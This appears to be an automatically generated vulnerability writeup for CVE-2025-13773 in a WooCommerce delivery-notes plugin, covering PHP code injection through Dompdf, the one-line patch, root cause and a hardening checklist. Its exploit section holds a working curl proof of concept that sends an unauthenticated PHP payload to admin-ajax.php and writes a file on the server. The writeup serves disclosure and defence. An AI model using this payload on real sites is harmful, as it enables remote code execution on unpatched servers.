ANALYSIS · 23b4bee3 · PATCHDIFF

Folder Analysiswoocommerce-delivery-notes_5.8.0 → woocommerce-delivery-notes_5.9.0✓ COMPLETED

Started2025-12-24 00:35:35Z Finished2025-12-24 00:43:53Z Elapsed8m 17s

Vulnerabilities 8

1 CVE article ready PatchLeaks generated full security writeups for the matched CVEs · one per CVE, with affected files linked

CVE-2025-13773

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CWE · 4

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All 10 CVE 1 Vuln files 6

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includes/front/wcdn-front-function.php

AI: 1 vulnerabilities

CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')FUNCTIONS · SOURCE GONE CVE-2025-13773 1 TP

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CVES 1

CVE-2025-13773

Security writeup for CVE-2025-13773

✓ 1 FILE

## The Exploit

An unauthenticated attacker can force the plugin to render attacker-supplied HTML through Dompdf with PHP evaluation enabled.

```bash
curl -sS -X POST "http://TARGET/wp-admin/admin-ajax.php" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode 'action=wcdn_update' \
  --data-urlencode 'order_id=123' \
  --data-urlencode 'template=<html><body><?php file_put_contents(ABSPATH."wp-content/uploads/pwned.txt","pwned"); ?></body></html>'

curl -sS "http://TARGET/wp-content/uploads/pwned.txt"
```

The POST request is accepted by the plugin's update handler and the injected `<?php ... ?>` payload is executed on the server. The second request proves the exploit by returning the file created by the shell payload from the WordPress uploads path.

## What the Patch Did

Before:
```php
$options->set( 'isPhpEnabled', true );
```

After:
```php
$options->set( 'isPhpEnabled', false );
```

The patch disables Dompdf's PHP execution feature using the Dompdf option `isPhpEnabled`. This prevents any PHP code embedded in the HTML passed to Dompdf from being evaluated during PDF rendering.

## Root Cause

This is a code injection / remote code execution bug (CWE-95) where attacker-controlled HTML reaches Dompdf with PHP execution switched on. The plugin accepted a template or delivery-note payload in `WooCommerce_Delivery_Notes::update`, then fed it into Dompdf via `includes/front/wcdn-front-function.php`. Because `isPhpEnabled` was set to `true`, `<?php ... ?>` fragments in the rendered HTML were evaluated instead of being treated as inert text.

## Why It Works

The only load-bearing change is the switch from `true` to `false` for `isPhpEnabled`. If Dompdf remains configured to allow PHP, injected PHP tags will still execute in the rendering engine. The rest of the Dompdf setup is just plumbing; disabling PHP evaluation is what closes the sink. Any additional security controls would be defense-in-depth, but the exploit hinges on this line.

## Hardening Checklist

- Add a capability check such as `current_user_can('manage_woocommerce')` in update callbacks before processing template data.
- Protect state-changing requests with `wp_verify_nonce()` on AJAX or admin-post actions.
- Escape user-controlled values before injecting them into HTML templates using `esc_html()`, `esc_attr()`, or `wp_kses_post()`.
- Keep Dompdf safe by disabling PHP execution: `$options->set('isPhpEnabled', false);`
- Use `admin_post_*` / `admin_ajax_*` hooks and reject unauthenticated requests for admin-only operations.

## References

- https://nvd.nist.gov/vuln/detail/CVE-2025-13773

CVE CVE-2025-13773

PRODUCT Folder Analysis

AFFECTED ≤ woocommerce-delivery-notes_5.8.0

FIXED IN woocommerce-delivery-notes_5.9.0

STATUS Generated

Security writeup · CVE-2025-13773

Source files · 1

includes/front/wcdn-front-function.php Linked

↗ NVD